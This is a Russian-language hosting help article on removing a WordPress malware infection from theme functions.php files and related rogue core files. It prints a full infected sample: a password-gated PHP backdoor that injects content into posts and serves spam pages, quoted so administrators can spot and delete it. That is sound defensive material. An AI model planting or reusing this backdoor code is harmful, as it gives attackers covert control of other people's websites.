2.14.1.1.8. Заражение файла functions.php темы оформления в WordPress

Внимание!

Нижеприведенная информация является исключительно рекомендациями, которые могут помочь удалить вредоносный код из скриптов сайта. Администрация хостинга не несёт ответственности за ущерб, нанесённый сайту при их выполнении специалистом с ненадлежащим уровнем знаний.

Удаление вредоносного кода только из файла functions.php, как показывает практика, не решает вопроса. Поэтому эта инструкция может быть полезной при устранении проблемы.

  1. Убедитесь, что файла wp-includes/class.wp.php нет в принципе. Если есть — удалите его. Обратите особое внимание на имя файла — в этом каталоге есть много файлов с похожим названием, но вместо точки — дефис, и т. д. Речь идёт исключительно о wp-includes/class.wp.php.
  2. Аналогично предыдущему пункту удалите файл wp-includes/wp-vcd.php, если он существует.
    Примечание к первым двум пунктам: проверив официальный репозиторий WordPress, можно убедиться, что в стандартной комплектации обоих файлов нет и они являются сторонними.
  3. Проверьте содержимое wp-includes/post.php. А именно — если в первой строке присутствует нечто вида:
    Для убедительности пример, как выглядит файл post.php в стандартном виде WordPress — https://github.com/WordPress/WordPress/blob/master/wp-includes/post.php (обратите внимание на строку 1).
  4. Пункты 1-3 должны помочь устранить причину, по которой вредоносный код может появляться в файлах functions.php после удаления. Осталось проверить functions.php каждой установленной темы. Самый верный способ — попробовать переустановить тему, если есть возможность. В противном случае — приведём пример заражённого файла:
    <?php
    
    if (isset($_REQUEST['password']) && isset($_REQUEST['action']) && ($_REQUEST['password'] == '7aa4ec0ada577823232adaa56b233f8b'))
    	{
    		switch ($_REQUEST['action'])
    			{
    				case 'get_all_links';
    					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
    						{
    							$data['code'] = '';
    
    							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
    								{
    									$data['code'] = $_[1];
    								}
    
    							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</ code><id>' . $data['ID'] . '</id></e>' . "\r\n";
    						}
    				break;
    
    				case 'set_id_links';
    					if (isset($_REQUEST['data']))
    						{
    							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
    
    							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
    							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
    
    							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
    								{
    									print "true";
    								}
    						}
    				break;
    
    				case 'create_page';
    					if (isset($_REQUEST['remove_page']))
    						{
    							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
    								{
    									print "true";
    								}
    						}
    					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
    						{
    							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
    								{
    									print "true";
    								}
    						}
    				break;
    
    				default: print "ERROR_WP_ACTION WP_URL_CD";
    			}
    
    		die("");
    	}
    
    
    if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
    	{
    		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
    		if ($data -> full_content)
    			{
    				print stripslashes($data -> content);
    			}
    		else
    			{
    				print '<!DOCTYPE html>';
    				print '<html ';
    				language_attributes();
    				print ' class="no-js">';
    				print '<head>';
    				print '<title>'.stripslashes($data -> title).'</title>';
    				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
    				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
    				print '<meta name="robots" content="index, follow" />';
    				print '<meta charset="';
    				bloginfo( 'charset' );
    				print '" />';
    				print '<meta name="viewport" content="width=device-width">';
    				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
    				print '<link rel="pingback" href="';
    				bloginfo( 'pingback_url' );
    				print '">';
    				wp_head();
    				print '</head>';
    				print '<body>';
    				print '<div id="content" class="site-content">';
    				print stripslashes($data -> content);
    				get_search_form();
    				get_sidebar();
    				get_footer();
    			}
    
    		exit;
    	}
    
    
    ?><?php
    /**
    * @package   Peak
    * @author    YOOtheme http://www.yootheme.com
    * @copyright Copyright (C) YOOtheme GmbH
    * @license   http://www.gnu.org/licenses/gpl.html GNU/GPL
    */
    
    // check compatibility
    if (version_compare(PHP_VERSION, '5.3', '>=')) {
    
        // bootstrap warp
        require(__DIR__.'/warp.php');
    }

    внешний вид строки 3 из данного примера является типичным признаком, что functions.php заражён. В таком случае — удалить нужно весь блок <?php … ?>, в котором встречается строка 3:
    Выражаясь чуть проще, удалить нужно всё с начала файла и до первого сочетания символов ?>. В данном примере — это строка 100. В итоге очищенный файл будет иметь такой вид:

    <?php
    /**
    * @package   Peak
    * @author    YOOtheme http://www.yootheme.com
    * @copyright Copyright (C) YOOtheme GmbH
    * @license   http://www.gnu.org/licenses/gpl.html GNU/GPL
    */
    
    // check compatibility
    if (version_compare(PHP_VERSION, '5.3', '>=')) {
    
        // bootstrap warp
        require(__DIR__.'/warp.php');
    }
  5. Есть сведения, что, в некоторых случаях вирус помимо модификации файлов также пытается создать нового пользователя админ-панели сайта, предоставляя ему права администратора. Потому, имеет смысл проверить в базе данных таблицу users (чаще всего — wp_users), и если в ней присутствуют незнакомые вам пользователи — рекомендуется удалить их, удалив соответствующие строки таблицы.
Содержание

    (1)